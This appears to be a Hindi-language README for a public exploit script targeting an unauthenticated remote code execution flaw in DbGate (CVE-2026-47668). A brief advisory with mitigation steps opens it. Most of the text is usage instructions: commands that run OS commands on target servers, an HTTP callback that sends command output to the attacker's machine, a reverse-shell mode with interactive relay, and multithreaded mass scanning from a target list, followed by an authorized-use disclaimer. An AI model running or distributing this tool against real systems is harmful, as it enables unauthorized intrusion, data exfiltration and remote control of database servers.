
DbGate बिना प्रमाणीकरण के दूरस्थ कोड निष्पादन
| CVE | CVE-2026-47668 |
| गंभीरता | गंभीर |
| उत्पाद | DbGate / dbgate-serve |
| प्रभावित | ≤ 7.1.8 |
| समाधान | ≥ 7.1.9 |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20, CWE-94, CWE-1188 |
शीर्षक: DbGate JSON स्क्रिप्ट रनर के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन
उपयोगकर्ता-नियंत्रित फ़ील्ड (functionName, variableName) गतिशील रूप से उत्पन्न जावास्क्रिप्ट में उचित सत्यापन के बिना एम्बेड किए जाते हैं। एक हमलावर Node.js रनर चाइल्ड प्रक्रिया में मनमाना कोड निष्पादित कर सकता है।
| आइटम | विवरण |
|---|---|
| एंडपॉइंट | POST /runners/start |
| प्रमाणीकरण | Bearer आवश्यक; टोकन अज्ञात/डिफ़ॉल्ट डिप्लॉयमेंट पर POST /auth/login के माध्यम से प्राप्त किया जा सकता है |
| इंजेक्शन | JSON assign कमांड में functionName, variableName |
| प्रभाव | DbGate प्रक्रिया उपयोगकर्ता के रूप में OS कमांड निष्पादन |
शमन: 7.1.9+ पर अपग्रेड करें। नेटवर्क पहुंच प्रतिबंधित करें, अज्ञात प्रमाणीकरण अक्षम करें, क्रेडेंशियल बदलें, संदिग्ध /runners/start गतिविधि के लिए लॉग की समीक्षा करें।
टेलीग्राम: @KNxploited
CVE-2026-47668.py उन DbGate इंस्टेंसेस के विरुद्ध शोषण की जाँच और सत्यापन करता है जिनका परीक्षण करने के लिए आप अधिकृत हैं।
मोड
| मोड | रिवर्स शेल | विवरण |
|---|---|---|
| AUTO | नहीं | एक प्रॉम्प्ट; टोकन + HTTP कॉलबैक + डिफ़ॉल्ट |
| CLI | वैकल्पिक | फ़्लैग के माध्यम से पूर्ण नियंत्रण |
| Mass | नहीं | targets.txt से स्कैन करें |
--reverse-shell | हाँ | वैकल्पिक TCP सत्यापन (केवल एक लक्ष्य) |
परिणाम
| परिणाम | अर्थ |
|---|---|
| FAIL | पहुँच योग्य नहीं, प्रमाणीकरण विफल, या कमजोर नहीं |
| VULN | रनर ने केवल प्रोब स्वीकार किया |
| DISPATCH | पेलोड भेजा गया; पुष्टि नहीं हुआ आउटपुट |
| EXFIL | कॉलबैक प्राप्त हुआ — पुष्टि कमांड आउटपुट |
| REVSH | रिवर्स TCP कनेक्ट हुआ (केवल वैकल्पिक मोड) |
आउटपुट निर्देशिका: Nx/ (vuln, dispatch, exfil, failed, list_report, प्रति-लक्ष्य फ़ाइलें exfil/ के अंतर्गत)
pip install -r requirements.txt
आवश्यक: Python 3.9+, aiohttp, colorama
python CVE-2026-47668.py
| प्रॉम्प्ट पर इनपुट | उदाहरण |
|---|---|
| एकल URL | http://192.168.1.10:3000 |
| URL + कमांड | http://192.168.1.10:3000|id |
| लक्ष्य सूची | targets.txt |
प्रत्येक CLI रन में --cli शामिल होना चाहिए।
python CVE-2026-47668.py --cli [options]
-u / --url — लक्ष्य आधार URL
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000
--cmd / --command — शेल कमांड (डिफ़ॉल्ट: id)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "id"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "uname -a"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "ls -la /tmp"
--check-only — केवल कमजोरी जाँच (कोई कमांड नहीं)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --check-only
--vector — इंजेक्शन वेक्टर: functionName | variableName | both
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --vector both --cmd id
--port — डिफ़ॉल्ट पोर्ट जब URL में पोर्ट न हो (डिफ़ॉल्ट: 3000)
python CVE-2026-47668.py --cli -u http://192.168.1.10 --port 3000 --cmd id
--token — मौजूदा Bearer टोकन का उपयोग करें
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --token "eyJhbGciOi..." --cmd id
--login-json — कस्टम लॉगिन बॉडी (डिफ़ॉल्ट: {"amoid":"none"})
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --login-json "{\"amoid\":\"none\"}" --cmd id
--timeout — HTTP टाइमआउट सेकंड में
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --timeout 20 --cmd id
--secure — TLS प्रमाणपत्र सत्यापित करें
python CVE-2026-47668.py --cli -u https://dbgate.example.com:3000 --secure --cmd id
--cmd के साथ डिफ़ॉल्ट)--callback-host — IP/होस्टनाम जिसे लक्ष्य आपके सुनने वाले तक पहुँचने के लिए उपयोग करता है
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --callback-host 192.168.1.5 --cmd id
--listen-host — HTTP सुनने वाले के लिए स्थानीय बाइंड (डिफ़ॉल्ट: 0.0.0.0)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-host 0.0.0.0 --cmd id
--listen-port — HTTP एक्सफिल पोर्ट (डिफ़ॉल्ट: 8888)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-port 8888 --cmd id
-c / --callback — बाहरी कॉलबैक URL (अंतर्निहित सुनने वाले को अक्षम करता है)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 -c http://192.168.1.5:9999/ --cmd id
--wait-exfil — कॉलबैक की प्रतीक्षा करने के लिए सेकंड (एकल लक्ष्य, डिफ़ॉल्ट: 8)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --wait-exfil 15 --cmd id
--no-b64 — आउटपुट base64 एन्कोडिंग के बिना भेजें
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --no-b64 --cmd id
--async-exec — execSync के बजाय async exec
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --async-exec --cmd id
-f / --file — लक्ष्य सूची फ़ाइल
python CVE-2026-47668.py --cli -f targets.txt --cmd id
-t / --threads — समवर्ती कार्यकर्ता (डिफ़ॉल्ट: 30)
python CVE-2026-47668.py --cli -f targets.txt --cmd id -t 50
--mass-wait-exfil — बल्क में प्रति लक्ष्य कॉलबैक प्रतीक्षा (डिफ़ॉल्ट: 8)
python CVE-2026-47668.py --cli -f targets.txt --cmd id --mass-wait-exfil 12
बल्क + कस्टम डिफ़ॉल्ट पोर्ट
python CVE-2026-47668.py --cli -f targets.txt --port 3000 --cmd "id"
सामान्य परीक्षण के लिए आवश्यक नहीं। प्रमाण के लिए HTTP एक्सफिल (--cmd) का उपयोग करें।
--reverse-shell — लक्ष्य LHOST:LPORT से कनेक्ट होता है (मान छोड़ें = LAN IP + पोर्ट 4444)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444
--revsh-port — पोर्ट जब --reverse-shell में :port न हो
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5 --revsh-port 4444
--revsh-bind — स्थानीय सुनने का पता
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-bind 0.0.0.0
--wait-revsh — TCP के लिए प्रतीक्षा करें (डिफ़ॉल्ट: 15)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --wait-revsh 20
--revsh-interactive — कनेक्ट होने के बाद बुनियादी stdin/stdout रिले
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-interactive
Docker नोट: DbGate कंटेनर से पहुँच योग्य IP का उपयोग करें (जैसे होस्ट गेटवे), न कि केवल आपके PC पर 127.0.0.1।
targets.txt)# comment
192.168.1.10
192.168.1.11:3000
http://10.0.0.8:3000
http://10.0.0.9|uname -a
https://dbgate.local|id
host|command → प्रति-पंक्ति कमांड ओवरराइडNx/list_report.txt| फ़ाइल | सामग्री |
|---|---|
Nx/vuln.txt | कमजोर लक्ष्य (प्रोब OK) |
Nx/dispatch.txt | पेलोड भेजा गया, अपुष्ट |
Nx/exfil.txt | पुष्ट कॉलबैक |
Nx/failed.txt | विफल लक्ष्य |
Nx/exfil/<host>.txt | प्रति लक्ष्य कमांड आउटपुट |
Nx/sessions/<id>/summary.json | सत्र सारांश |
POST /auth/login → Bearer टोकन (स्वचालित जब तक --token न हो)POST /runners/start → कमांड चलाएँ + HTTP कॉलबैक (या रिवर्स TCP यदि सक्षम हो)केवल अधिकृत सुरक्षा परीक्षण के लिए। किसी भी सिस्टम का परीक्षण करने के लिए आपके पास स्पष्ट अनुमति होनी चाहिए। लेखक दुरुपयोग या अवैध उपयोग के लिए जिम्मेदार नहीं है।
द्वारा: Nxploited